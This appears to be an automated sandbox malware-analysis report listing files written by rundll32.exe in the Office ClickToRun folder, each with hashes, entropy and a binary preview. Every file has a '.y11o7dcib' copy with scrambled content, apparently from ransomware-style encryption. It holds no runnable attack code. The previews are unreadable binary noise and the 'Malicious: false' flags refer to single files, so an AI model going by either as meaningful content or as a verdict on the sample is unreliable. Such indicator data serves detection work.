Preview:	..).YF....x;.U.).c.e.._.1.e5...k.x.#....^...o.w..Y........(;.W.........!..L.!This program cannot be run in DOS mode....$.........-8..Ck..Ck..Ck..k..Ck..Bj..Ck..Gj..Ck..@j..Ck...k..Ck..>k..Ck.g.t...c..8Q.q.BD...Z..Fm _.qN.Z..HQ`....]...4.U.......aGQB......Jjb.Ck..Cj..Ck...k..Ck...k..Ck..Aj..CkRich..Ck................PE..d...&..e.........." ... .X..................................N..ZF....y;...)sC.e.._.KJH5..m.x.#....^...o.w..Y........({/W.........l.%.9.....%.T....`+..J... ..-...v,.8N....,.ln...!&.T....................4%.(...P...@............p........%.`...........H..ZF.....Cz..).5.e.._.q.x5...k.x.#....^...O.w..+..{.....({_J..2...\..............@..@.data....k....(.......(.............@....pdata...-... .......).............@..@.didat..P....P+........H..ZF....x;N...]...`._..d5..&k.4.#....^...o.w..Y..O....rD.LW.ln....,..p....,.............@..B................................................................................................H..ZF....x;...)sc.e.._.q.e5...k.x.#....

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RUI.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2934130
Entropy (8bit):	7.091944433416831
Encrypted:	false
SSDEEP:	49152:Fj//L8G2a3LIpJ9drUiwpYFrG19UXJTGcidngY4odQM9tm8FdKr:FrdWUNETY9t9P0r
MD5:	D96E8BC7353729979CF406282CE6CBEF
SHA1:	F58688EFC62E57E5C14905E5BDC9A75361C00A24
SHA-256:	C7EA4E8E9202451E38F587F70369CC5EA3CE895412B58240BD827F5A8F1A05C1
SHA-512:	441DCFA0BA6D4C9A5D6F74FD8E3EDEC3D2931D6CA69AE84E990CDCEDE5F376D4FD225C604F5EFC334E3604020290FAF7B5F7DF20E45902558F71F4BC87F029CA
Malicious:	false
Preview:	..).YF....x;.U.).c.e.._.1.e5...k.x.#....^...o.w..Y........(;.W.........!..L.!This program cannot be run in DOS mode....$.........-8..Ck..Ck..Ck..k..Ck..Bj..Ck..Gj..Ck..@j..Ck...k..Ck..>k..Ck.g.t...c..8Q.q.BD...Z..Fm _.qN.Z..HQ`....]...4.U.......aGQB......Jjb.Ck..Cj..Ck...k..Ck...k..Ck..Aj..CkRich..Ck................PE..d...&..e.........." ... .X..................................N..ZF....y;...)sC.e.._.KJH5..m.x.#....^...o.w..Y........({/W.........l.%.9.....%.T....`+..J... ..-...v,.8N....,.ln...!&.T....................4%.(...P...@............p........%.`...........H..ZF.....Cz..).5.e.._.q.x5...k.x.#....^...O.w..+..{.....({_J..2...\..............@..@.data....k....(.......(.............@....pdata...-... .......).............@..@.didat..P....P+........H..ZF....x;N...]...`._..d5..&k.4.#....^...o.w..Y..O....rD.LW.ln....,..p....,.............@..B................................................................................................H..ZF....x;...)sc.e.._.q.e5...k.x.#....

C:\Program Files\Common Files\microsoft shared\ClickToRun\ClientCapabilities.json

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	377
Entropy (8bit):	6.258580162840723
Encrypted:	false
SSDEEP:	6:7kkFEEFnZLXfEPUMOESIruaVuV5w/m47L4pPOEmYPW+SfQR:79XnjMOxxfw/m44pmJYPgS
MD5:	93F79B92934404F3BD5D875737DCEC8E
SHA1:	5935DEFF100D52EB09C7B25D50B4025F702CB193
SHA-256:	10E615DBD9291EE53849888B167AF6C18C88195C5AF32D8B694C24FD1A750407
SHA-512:	B50D5F213DEC1369382196C6C302C20587D1E04E1C9EBDEF988A246541E9493089B06D845FFE46F6BE9033C644555DE0B7325561097750DD5ACD02E36BF4B7A1
Malicious:	false
Preview:	.`b.:.Dw ......S<._...zl..J.4~\......`....~E..u.\|h.Q.@d..dMj......X....p.7.t.rj.ve.....&.Fn$.y.....L....wk.uT.l..n.3x........../c.....S...~.?.....R..v......~..P.&.B..*.%. ....Us...t...</..(.^..=.Z....:..PA_@f4...x.G.f..$..xJIn._.5<.^Td...{.Q..y.n...z...?.Tu.2._f....................................................................................?.........29yp10v5m8k.

C:\Program Files\Common Files\microsoft shared\ClickToRun\ClientCapabilities.json.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	377
Entropy (8bit):	6.258580162840723
Encrypted:	false
SSDEEP:	6:7kkFEEFnZLXfEPUMOESIruaVuV5w/m47L4pPOEmYPW+SfQR:79XnjMOxxfw/m44pmJYPgS
MD5:	93F79B92934404F3BD5D875737DCEC8E
SHA1:	5935DEFF100D52EB09C7B25D50B4025F702CB193
SHA-256:	10E615DBD9291EE53849888B167AF6C18C88195C5AF32D8B694C24FD1A750407
SHA-512:	B50D5F213DEC1369382196C6C302C20587D1E04E1C9EBDEF988A246541E9493089B06D845FFE46F6BE9033C644555DE0B7325561097750DD5ACD02E36BF4B7A1
Malicious:	false
Preview:	.`b.:.Dw ......S<._...zl..J.4~\......`....~E..u.\|h.Q.@d..dMj......X....p.7.t.rj.ve.....&.Fn$.y.....L....wk.uT.l..n.3x........../c.....S...~.?.....R..v......~..P.&.B..*.%. ....Us...t...</..(.^..=.Z....:..PA_@f4...x.G.f..$..xJIn._.5<.^Td...{.Q..y.n...z...?.Tu.2._f....................................................................................?.........29yp10v5m8k.

C:\Program Files\Common Files\microsoft shared\ClickToRun\ClientEventLogMessages.man

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9424
Entropy (8bit):	5.522578820332341
Encrypted:	false
SSDEEP:	96:azpd+vXMie8GIsGWzkSk+2AkYfHgGkUm8cB2W54ooqTPJby9LPW5jupj7C1Irs/l:MxPdz97lShGQPJby9LeE7uIryAxS
MD5:	2CB2BFBFF4E78BABFBB17FA5B27543A8
SHA1:	1316041AA2DB2373F57FBE50AE334EB7B52307A2
SHA-256:	DD0A94ADA798ACB443D092A2A09D59626E1F38B2D901546986F1876C382E9615
SHA-512:	9E614BEDF627C62C44044B588C343F59053B2C1D5B6CE1CFDA71F63C34FA442CD8C5D5819D1F1B42C65478B10D8664B8A7E380A8D803FC8B75BC4C8F68FA7336
Malicious:	false
Preview:	1...0?O^)..x.%.Y..._..(^.Q..~....2^.o.,N.m.%.Qg..W...C....1t.f.-.1.6.".?.>.....<.i.n.s.t.r.u.m.e.n.t.a.t.i.o.n.M.a.n.i.f.e.s.t. .x.s.i.:.s.c.h.e.m.a.L.o.c.a.t.i.o.n.=.".h.t.t.p.:././.s.c..F.....0!O.)..g.%.Y.._.. ^.Q..,.O..2S.8. N.m.%QQ3..W..QC....1e.v.e.n.t.s. .e.v.e.n.t.m.a.n...x.s.d.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0..F....0}OW).k.%.Y..._W.>^.Q..!.S..2..&.'N.m.%.Qw..W..DC....1a.n.i.f.e.s.t.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.w.i.n.d.o.w.s./.e.v.e.n.t.s.". .x.m.l.n.s.:.x.s.i.=.".h.t..F.....0}OE).y..%.Y..._..4^.Q..}....2M.`..N.m.%0Q`..W...CJ...1n.s.t.a.n.c.e.". .x.m.l.n.s.:.x.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.2.0.0.1./.X.M.L.S.c.h.e.m.a.". .x.m.l.n.s.:.t.r.a.c.e..F.....0&OB)..!..%.Y.._..+^.Q..a.M..2..=.&N.m.%.Qw..W...CF...1i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.t.r.a.c.e.".>..... . .<.i.n.s.t.r.u.m.e.n.t.a.t.i.o.n.>..... . . . .<.e.v.e.n.t.s.>..... . ..F...0nOB).a.%.Y.._..f^.Q..".E..2^.

C:\Program Files\Common Files\microsoft shared\ClickToRun\ClientEventLogMessages.man.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9424
Entropy (8bit):	5.522578820332341
Encrypted:	false
SSDEEP:	96:azpd+vXMie8GIsGWzkSk+2AkYfHgGkUm8cB2W54ooqTPJby9LPW5jupj7C1Irs/l:MxPdz97lShGQPJby9LeE7uIryAxS
MD5:	2CB2BFBFF4E78BABFBB17FA5B27543A8
SHA1:	1316041AA2DB2373F57FBE50AE334EB7B52307A2
SHA-256:	DD0A94ADA798ACB443D092A2A09D59626E1F38B2D901546986F1876C382E9615
SHA-512:	9E614BEDF627C62C44044B588C343F59053B2C1D5B6CE1CFDA71F63C34FA442CD8C5D5819D1F1B42C65478B10D8664B8A7E380A8D803FC8B75BC4C8F68FA7336
Malicious:	false
Preview:	1...0?O^)..x.%.Y..._..(^.Q..~....2^.o.,N.m.%.Qg..W...C....1t.f.-.1.6.".?.>.....<.i.n.s.t.r.u.m.e.n.t.a.t.i.o.n.M.a.n.i.f.e.s.t. .x.s.i.:.s.c.h.e.m.a.L.o.c.a.t.i.o.n.=.".h.t.t.p.:././.s.c..F.....0!O.)..g.%.Y.._.. ^.Q..,.O..2S.8. N.m.%QQ3..W..QC....1e.v.e.n.t.s. .e.v.e.n.t.m.a.n...x.s.d.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0..F....0}OW).k.%.Y..._W.>^.Q..!.S..2..&.'N.m.%.Qw..W..DC....1a.n.i.f.e.s.t.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.w.i.n.d.o.w.s./.e.v.e.n.t.s.". .x.m.l.n.s.:.x.s.i.=.".h.t..F.....0}OE).y..%.Y..._..4^.Q..}....2M.`..N.m.%0Q`..W...CJ...1n.s.t.a.n.c.e.". .x.m.l.n.s.:.x.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.2.0.0.1./.X.M.L.S.c.h.e.m.a.". .x.m.l.n.s.:.t.r.a.c.e..F.....0&OB)..!..%.Y.._..+^.Q..a.M..2..=.&N.m.%.Qw..W...CF...1i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.t.r.a.c.e.".>..... . .<.i.n.s.t.r.u.m.e.n.t.a.t.i.o.n.>..... . . . .<.e.v.e.n.t.s.>..... . ..F...0nOB).a.%.Y.._..f^.Q..".E..2^.

C:\Program Files\Common Files\microsoft shared\ClickToRun\FrequentOfficeUpdateSchedule.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5222
Entropy (8bit):	7.149832453535095
Encrypted:	false
SSDEEP:	96:unJGzQe67WDZCs1xUzgOUnsr3yWtaN7CJvg8ZxXh8UHOgqTS:uo6y9V1+bfuuhvXCwO3TS
MD5:	F468ED747ADA478315725E89B90BBC50
SHA1:	69A7557C68DB9267C083A32C4B186C64D38F74C4
SHA-256:	F3600DA021CABDAB7D897A3ED9784F31EDFDE5ADF9D580793FD20B102E50927A
SHA-512:	B861A6DD52AFF72D15130B60C617EAC732D425F5B7D2D7D5C020918FF7A06FC9039FBCB5E91CB60DDB3B3093E31232696F1BA75C678A929544312DB37E21C349
Malicious:	false
Preview:	.w.p...?G]e.'.....U...F.....%...w..Za.:m...T.J..&...g....+...G..p...?.]+.8..-...{.....s....w..a.:$...T....&S.Dg......q......p...?.]a.s..............p.L..w..a.: ...Y.[..&...g....j...~..p...?D]m.h.............7...w...a.:9...N.H..&..Hg.....)../..p...?C]z.s.....S...@.....v.O..w..ga.:m........&&..g....;.."..p...?.]$.7............"...w..Za.:y........&^.Eg...l.....p...?.]).;....S...@.....U.@..w...a.:"...N....&...g...5..R..p...?E]{.9...........\.L..w..a.:=...S.F..&\.>g...)...r..p...?O]g.t....B.........y.].w...a.:?...w.@..&...g...}..\..p...?I]l.'....T...N.....y.]..w..a.:....T....&...g.....o...a..p...?N]h.s..............k.J..w..a.:$...T....&h.Jg......[...t..p...?X]h.s.....I...A.....&.$.w..Ja.:....S.N..&...g........3..p...?i]h.k....C...].....q.N..w..a.:@........&B.Jg....}...a..p...?_]g.c....^........(...w..Ga.:{........&R.Zg.....5..@..p...?^]K.h....C...].......#.w..Ja.:m.....l..&...g...7...a..p...?.]L.i.....K...K........w..Ja.:

C:\Program Files\Common Files\microsoft shared\ClickToRun\FrequentOfficeUpdateSchedule.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5222
Entropy (8bit):	7.149832453535095
Encrypted:	false
SSDEEP:	96:unJGzQe67WDZCs1xUzgOUnsr3yWtaN7CJvg8ZxXh8UHOgqTS:uo6y9V1+bfuuhvXCwO3TS
MD5:	F468ED747ADA478315725E89B90BBC50
SHA1:	69A7557C68DB9267C083A32C4B186C64D38F74C4
SHA-256:	F3600DA021CABDAB7D897A3ED9784F31EDFDE5ADF9D580793FD20B102E50927A
SHA-512:	B861A6DD52AFF72D15130B60C617EAC732D425F5B7D2D7D5C020918FF7A06FC9039FBCB5E91CB60DDB3B3093E31232696F1BA75C678A929544312DB37E21C349
Malicious:	false
Preview:	.w.p...?G]e.'.....U...F.....%...w..Za.:m...T.J..&...g....+...G..p...?.]+.8..-...{.....s....w..a.:$...T....&S.Dg......q......p...?.]a.s..............p.L..w..a.: ...Y.[..&...g....j...~..p...?D]m.h.............7...w...a.:9...N.H..&..Hg.....)../..p...?C]z.s.....S...@.....v.O..w..ga.:m........&&..g....;.."..p...?.]$.7............"...w..Za.:y........&^.Eg...l.....p...?.]).;....S...@.....U.@..w...a.:"...N....&...g...5..R..p...?E]{.9...........\.L..w..a.:=...S.F..&\.>g...)...r..p...?O]g.t....B.........y.].w...a.:?...w.@..&...g...}..\..p...?I]l.'....T...N.....y.]..w..a.:....T....&...g.....o...a..p...?N]h.s..............k.J..w..a.:$...T....&h.Jg......[...t..p...?X]h.s.....I...A.....&.$.w..Ja.:....S.N..&...g........3..p...?i]h.k....C...].....q.N..w..a.:@........&B.Jg....}...a..p...?_]g.c....^........(...w..Ga.:{........&R.Zg.....5..@..p...?^]K.h....C...].......#.w..Ja.:m.....l..&...g...7...a..p...?.]L.i.....K...K........w..Ja.:

C:\Program Files\Common Files\microsoft shared\ClickToRun\InspectorOfficeGadget.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	49386
Entropy (8bit):	7.2192972562636015
Encrypted:	false
SSDEEP:	1536:PFvaMY7/kxA2Hy0yL2nM//W1mXT2kR2yhQ0JmVS:O8xAqyd//emj2kR2y3mg
MD5:	E2216C4D0FFDDE1D78A0DDFE5AA27486
SHA1:	403A2C8459334BF69D7D1ADA67C0340E01FAE24B
SHA-256:	F717A7A9619F1E99547A932EB54761ACDBEC3C8055707397927165B4A8CC58C0
SHA-512:	5CB6CDF0D0CB499FBB2189C004A1EF5AB0BE064848E5F216B430FED1469D422BE38DD67AAA83DE5658628C7235AD6A853A5E02860DEDC4F67769950A529CA868
Malicious:	false
Preview:	...."47.6l.\....z\.!...?....r..@.&=.%RF.Ch...>..'.o..w+.s...@........!..L.!This program cannot be run in DOS mode....$.......PE..L...dU..........."...0..f............... ........@.. ........_.."47.6l....&.\.!...Q...... .@.&=.%RF.Ch...>..'.o..w+.s...@1...O....................r...M..............8............................................ ............... ..H............text....._...47.Pl....&z\.!....?..3.r.2.T^.%R..Ch)..>..'....w+.s...@....@..@.reloc...............p..............@..B................e.......H........:..TI............................................_.."47.6l....8xt.!....=&...x..=.&=..RU.C/...>..'.G..w!.^.l.@..z.r...po....,...o....r...po....(.....r...po....,...(......{...."..}......{...."..}........0..l........{....-].(....( ...-..].."41..j..<.&zV......(a...x.@."...zb.I....N.2#.o..R+.y\..;....-..(&...}.....{............%:.......r_..p..(.....s'...}.....-.s....z..o(...(......(......{...."..}......{....*r.( ...-...R..$7X.6l..<..,PJ.?....?....q..@.&<.%C

C:\Program Files\Common Files\microsoft shared\ClickToRun\InspectorOfficeGadget.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	49386
Entropy (8bit):	7.2192972562636015
Encrypted:	false
SSDEEP:	1536:PFvaMY7/kxA2Hy0yL2nM//W1mXT2kR2yhQ0JmVS:O8xAqyd//emj2kR2y3mg
MD5:	E2216C4D0FFDDE1D78A0DDFE5AA27486
SHA1:	403A2C8459334BF69D7D1ADA67C0340E01FAE24B
SHA-256:	F717A7A9619F1E99547A932EB54761ACDBEC3C8055707397927165B4A8CC58C0
SHA-512:	5CB6CDF0D0CB499FBB2189C004A1EF5AB0BE064848E5F216B430FED1469D422BE38DD67AAA83DE5658628C7235AD6A853A5E02860DEDC4F67769950A529CA868
Malicious:	false
Preview:	...."47.6l.\....z\.!...?....r..@.&=.%RF.Ch...>..'.o..w+.s...@........!..L.!This program cannot be run in DOS mode....$.......PE..L...dU..........."...0..f............... ........@.. ........_.."47.6l....&.\.!...Q...... .@.&=.%RF.Ch...>..'.o..w+.s...@1...O....................r...M..............8............................................ ............... ..H............text....._...47.Pl....&z\.!....?..3.r.2.T^.%R..Ch)..>..'....w+.s...@....@..@.reloc...............p..............@..B................e.......H........:..TI............................................_.."47.6l....8xt.!....=&...x..=.&=..RU.C/...>..'.G..w!.^.l.@..z.r...po....,...o....r...po....(.....r...po....,...(......{...."..}......{...."..}........0..l........{....-].(....( ...-..].."41..j..<.&zV......(a...x.@."...zb.I....N.2#.o..R+.y\..;....-..(&...}.....{............%:.......r_..p..(.....s'...}.....-.s....z..o(...(......(......{...."..}......{....*r.( ...-...R..$7X.6l..<..,PJ.?....?....q..@.&<.%C

C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5294946
Entropy (8bit):	7.103518703190928
Encrypted:	false
SSDEEP:	98304:62wfg6/caO3gWVir0prkiUCIQ8Fvu/Uu6r5IaZY5AAhp0yYsSynFxMx6WcrGAB2s:65Y6/caO3gWVGArRUCJ8JAUu6r5IoYii
MD5:	3FCBCBB3ABF4E1566EE1083221D009F8
SHA1:	F18B37821826C0095EC96C8514D903F0CF9BA5E3
SHA-256:	1BBD405BC51726E397DA28C387602849EC70305EA96F4291C08D8F38508EF54C
SHA-512:	EA36B0D14E0BBEC593B42F0CABDE65772A21A802560FDB7E7D432C401CF6A8D174A3D3F67F43E5DE8A0E7BCEC03DADEBFFB30CE8004FA0070EB5DCF452C3D823
Malicious:	false
Preview:	.f$V,.T.9Q......b...-.>+.X...p.}KdK.n"..K.m.._7.U........u....j........!..L.!This program cannot be run in DOS mode....$.......Jc.M.............p......nx......nx......).......)........p......rL0I3....!w..@(....../. e...2....3.T.l...3zr...)i-N.e.....G..tkxx.............kx......Rich....................PE..d....".e..........".... .z6..........32........@...............................V/.T...!B..vb...-.>k.X...p.}KtK.n"..[.m.._7.U........u. ..j8.B.......K..a...PI..%...\|P.(N....P.(...0.B.8...................X.B.(.....7.@.............6.0.....B......................text....E.V/.T.=+.#F..vb...-.>k.X...p.S9.*.."....m.qi7.....>...u. ..j....@..@.data...`....0G.......G.............@....pdata...%...PI..&...:I.............@..@.didat.. .....K......`K.............@....n..{.T.aP..#...v`...K.>k.X...p.}KdK.n"_.9...._7.4...AC...q. hSj............@..@.reloc..(.....P.......O.............@..B.........................................................................<.V/.T.=Q..#B..vb...-.>k.X...p.}KdK.n".

C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5294946
Entropy (8bit):	7.103518703190928
Encrypted:	false
SSDEEP:	98304:62wfg6/caO3gWVir0prkiUCIQ8Fvu/Uu6r5IaZY5AAhp0yYsSynFxMx6WcrGAB2s:65Y6/caO3gWVGArRUCJ8JAUu6r5IoYii
MD5:	3FCBCBB3ABF4E1566EE1083221D009F8
SHA1:	F18B37821826C0095EC96C8514D903F0CF9BA5E3
SHA-256:	1BBD405BC51726E397DA28C387602849EC70305EA96F4291C08D8F38508EF54C
SHA-512:	EA36B0D14E0BBEC593B42F0CABDE65772A21A802560FDB7E7D432C401CF6A8D174A3D3F67F43E5DE8A0E7BCEC03DADEBFFB30CE8004FA0070EB5DCF452C3D823
Malicious:	false
Preview:	.f$V,.T.9Q......b...-.>+.X...p.}KdK.n"..K.m.._7.U........u....j........!..L.!This program cannot be run in DOS mode....$.......Jc.M.............p......nx......nx......).......)........p......rL0I3....!w..@(....../. e...2....3.T.l...3zr...)i-N.e.....G..tkxx.............kx......Rich....................PE..d....".e..........".... .z6..........32........@...............................V/.T...!B..vb...-.>k.X...p.}KtK.n"..[.m.._7.U........u. ..j8.B.......K..a...PI..%...\|P.(N....P.(...0.B.8...................X.B.(.....7.@.............6.0.....B......................text....E.V/.T.=+.#F..vb...-.>k.X...p.S9.*.."....m.qi7.....>...u. ..j....@..@.data...`....0G.......G.............@....pdata...%...PI..&...:I.............@..@.didat.. .....K......`K.............@....n..{.T.aP..#...v`...K.>k.X...p.}KdK.n"_.9...._7.4...AC...q. hSj............@..@.reloc..(.....P.......O.............@..B.........................................................................<.V/.T.=Q..#B..vb...-.>k.X...p.}KdK.n".

C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	195338
Entropy (8bit):	7.175048308274737
Encrypted:	false
SSDEEP:	3072:/I2Q635rDKGUB19TqJUPJYLsWc8fFsos111ciPnNurRwwupqokq8HokFG/PCsG1:/I+HKX19TC8ahFWQiPnNu+cokqyCCd
MD5:	3C1EA15B3044574DEC7268487704C942
SHA1:	3500CA9D54E601CFFFBB881676CC317935DEE2EF
SHA-256:	F4F6104F5D553324BE669DE17C193FCC6FA16E54DE5623BECC7EE0521ACD1413
SHA-512:	FBF3926C277DFE9F10DAC5F2C3961604C98BEDE840B70A575134B2CAF143D93A56EAFA37D90F8CB179F42F750ECF7621185DD6E2F4BF940534771C2481B6ADD6
Malicious:	false
Preview:	.W~`@......{f.Z..ixT..f.r\$._....Qt(O/..~[.Ay(.3.+.....F.;.U........!..L.!This program cannot be run in DOS mode....$..........K.k...k...k.......k.......k.......k.......k...k..Ro.......k..C..x.......bZD..V..q.?..;..E...Z.9.C.7..~[.Ayx.3.g...tPiJ;.U.................T......@V............@.................................j.....@...... ......................................8...^..`C......{I.Z.KY.iH~..Hs\p._....Qt(O/..~[.Ay(.3.+...o.F.;.U.........................................text............................... ..`.data...............................@....idata.....`C=.....{..X.K..ixT..&.r\d._.&.#.(O/..~[.fCy(.3.+.....FJ;.U....@..@.reloc..0*.......,..................@..B................................................................................^..`C......{./Z.K..ixT..&.r\$._....Qt(O/..~[.Ay(.3.+.....FJ;.U................................................................................................................................^..`C......{./Z.K..ixT..&.r\$._....Qt(O/

C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	195338
Entropy (8bit):	7.175048308274737
Encrypted:	false
SSDEEP:	3072:/I2Q635rDKGUB19TqJUPJYLsWc8fFsos111ciPnNurRwwupqokq8HokFG/PCsG1:/I+HKX19TC8ahFWQiPnNu+cokqyCCd
MD5:	3C1EA15B3044574DEC7268487704C942
SHA1:	3500CA9D54E601CFFFBB881676CC317935DEE2EF
SHA-256:	F4F6104F5D553324BE669DE17C193FCC6FA16E54DE5623BECC7EE0521ACD1413
SHA-512:	FBF3926C277DFE9F10DAC5F2C3961604C98BEDE840B70A575134B2CAF143D93A56EAFA37D90F8CB179F42F750ECF7621185DD6E2F4BF940534771C2481B6ADD6
Malicious:	false
Preview:	.W~`@......{f.Z..ixT..f.r\$._....Qt(O/..~[.Ay(.3.+.....F.;.U........!..L.!This program cannot be run in DOS mode....$..........K.k...k...k.......k.......k.......k.......k...k..Ro.......k..C..x.......bZD..V..q.?..;..E...Z.9.C.7..~[.Ayx.3.g...tPiJ;.U.................T......@V............@.................................j.....@...... ......................................8...^..`C......{I.Z.KY.iH~..Hs\p._....Qt(O/..~[.Ay(.3.+...o.F.;.U.........................................text............................... ..`.data...............................@....idata.....`C=.....{..X.K..ixT..&.r\d._.&.#.(O/..~[.fCy(.3.+.....FJ;.U....@..@.reloc..0*.......,..................@..B................................................................................^..`C......{./Z.K..ixT..&.r\$._....Qt(O/..~[.Ay(.3.+.....FJ;.U................................................................................................................................^..`C......{./Z.K..ixT..&.r\$._....Qt(O/

C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RCom.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2283570
Entropy (8bit):	7.044998450196304
Encrypted:	false
SSDEEP:	49152:LOWUKx8jvGUwxeOIYHgFXznyKO3PIxvYpN98JUyd3yPMakN:jvbUpxmPIkN6OkN
MD5:	D4327721232CB9CD4687E090E9D076FC
SHA1:	541FD87CF8A3A3E0D4B7EDB5C629F995CD8E9FF4
SHA-256:	2F864076F449A6115AA4FC30AB71B9E1B1D5B26E7C4440930896ECF531106211
SHA-512:	13F043B7B7E8B81D07B05AF3B99A645DBD0C13FFCFAE1F2FBB24E5C91E152CE878D44EAC76A8D86A971C71AC0D040E46E3A885A493BF15EBF3793FD3EB097AEF
Malicious:	false
Preview:	...BM...t. ..HNF.1.a).1.h..:b..."uH_.N..dh{.l\/........`........!..L.!This program cannot be run in DOS mode....$.............K..K..K..J..K..Jh..K..J..K..J..K..J..K.s.K..Ks.y...~L...j../....{0..pY.......{.>..x.....(..0...e4.W.<c...m%+..JI..K..J..K..dK..K..K..K..J..KRich..K........PE..d....".e.........." ... ................................................AM...t, 'l.H..*1.aI.q.x..:b..."uH_.N..dh{.\|\/......1.`L................."......P!......."..N...."..X......T...................8...(...`S..@............0..................................5M..5d. 'x.H.T.1.e).q.h..:b..."uh_..`....h{.#U/......!.`............@..@.data......... ......f .............@....pdata.......P!.......!.............@..@.didat.......`"......."..............M...&Kas).H.G.1....q.h..,@..."uH_.N...dh;9./]...+...!X.`......".............@..@.reloc...X...."..Z....".............@..B....................................................................AM...t. 'h.H.F.1.a).q.h..:b..."uH_.

C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RCom.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2283570
Entropy (8bit):	7.044998450196304
Encrypted:	false
SSDEEP:	49152:LOWUKx8jvGUwxeOIYHgFXznyKO3PIxvYpN98JUyd3yPMakN:jvbUpxmPIkN6OkN
MD5:	D4327721232CB9CD4687E090E9D076FC
SHA1:	541FD87CF8A3A3E0D4B7EDB5C629F995CD8E9FF4
SHA-256:	2F864076F449A6115AA4FC30AB71B9E1B1D5B26E7C4440930896ECF531106211
SHA-512:	13F043B7B7E8B81D07B05AF3B99A645DBD0C13FFCFAE1F2FBB24E5C91E152CE878D44EAC76A8D86A971C71AC0D040E46E3A885A493BF15EBF3793FD3EB097AEF
Malicious:	false
Preview:	...BM...t. ..HNF.1.a).1.h..:b..."uH_.N..dh{.l\/........`........!..L.!This program cannot be run in DOS mode....$.............K..K..K..J..K..Jh..K..J..K..J..K..J..K.s.K..Ks.y...~L...j../....{0..pY.......{.>..x.....(..0...e4.W.<c...m%+..JI..K..J..K..dK..K..K..K..J..KRich..K........PE..d....".e.........." ... ................................................AM...t, 'l.H..*1.aI.q.x..:b..."uH_.N..dh{.\|\/......1.`L................."......P!......."..N...."..X......T...................8...(...`S..@............0..................................5M..5d. 'x.H.T.1.e).q.h..:b..."uh_..`....h{.#U/......!.`............@..@.data......... ......f .............@....pdata.......P!.......!.............@..@.didat.......`"......."..............M...&Kas).H.G.1....q.h..,@..."uH_.N...dh;9./]...+...!X.`......".............@..@.reloc...X...."..Z....".............@..B....................................................................AM...t. 'h.H.F.1.a).q.h..:b..."uH_.

C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeOEMPlugin.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	133074
Entropy (8bit):	6.916877335156404
Encrypted:	false
SSDEEP:	3072:z8lY+PtCWIoVcdJ2bUGKh1QBSrxrR+owEOWi0:zGpK1pVR+oFO2
MD5:	8DFAF717BD06AAAD9FAE093923618209
SHA1:	FCB6B52B46531A5FB906529AB2585CD851CC94BA
SHA-256:	4CE0AD6B261989E59E3A070B5C78C0AAA8E6DB2CD685D96F5DBD1EDF0635923A
SHA-512:	7BE7667FB718A14C3A1C4B65AAB2468BDF1DE729461E74B5FA3A7FE762F05DA5F927401A8AE98DF603DFC152520389D12069B7C62E36EA000595C71DA80F428D
Malicious:	false
Preview:	.F.$....D.R.<#.nG.P.z._W4......o.FR^.2<.i....(.....\|..}].)..........!..L.!This program cannot be run in DOS mode....$.............j[..j[..j[...[..j[..kZ..j[..nZ..j[..iZ..j[..oZ..j[y.nZ..j[...~Z....H..~`I...z.).c.....2..@.......i.)..=N.....D.c....>.............................PE..d....s.d.........." ... .............................................................J....`A..........q$....@.R..#..W.P.z._.4........GR..2..h.f..(<....\|...\.!.......N..............T...................x\..(...p...@...................Hq..@....................text.............................q$....n..3{.#....P..._........o.FR^.2<.i........j..\|..h]........\|..............@....pdata..............................@..@.didat..............................@....rsrc...X........ ........q$....@.RO.#..5}<..._.5......o.FR^..2<.i....(.....\|.}].(....................................................................................................................................q$....@.R..#..G.P.z._.4......o.FR^.2

C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeOEMPlugin.dll.y11o7dcib (copy)

